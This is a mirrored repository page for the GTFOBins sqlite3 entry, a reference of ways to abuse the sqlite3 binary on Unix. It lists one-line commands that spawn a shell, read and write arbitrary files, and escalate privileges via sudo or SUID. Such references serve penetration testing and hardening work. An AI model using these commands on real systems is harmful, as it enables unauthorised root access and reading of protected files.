This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2025-12-28 19:21:41 +01:00
Code
Issues
90960c8ea4
GTFOBins.github.io
/
_gtfobins
/
sqlite3.md
Shikata
28cc7ff7da
Add SUID [file read] category to sqlite3
2021-01-12 13:57:34 +02:00
666 B
Raw
Blame
History
functions
shell
file-write
file-read
suid
sudo
limited-suid
code
sqlite3 /dev/null '.shell /bin/sh'
code
LFILE=file_to_write sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
code
LFILE=file_to_read sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
code
LFILE=file_to_read sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
code
sudo sqlite3 /dev/null '.shell /bin/sh'
code
./sqlite3 /dev/null '.shell /bin/sh'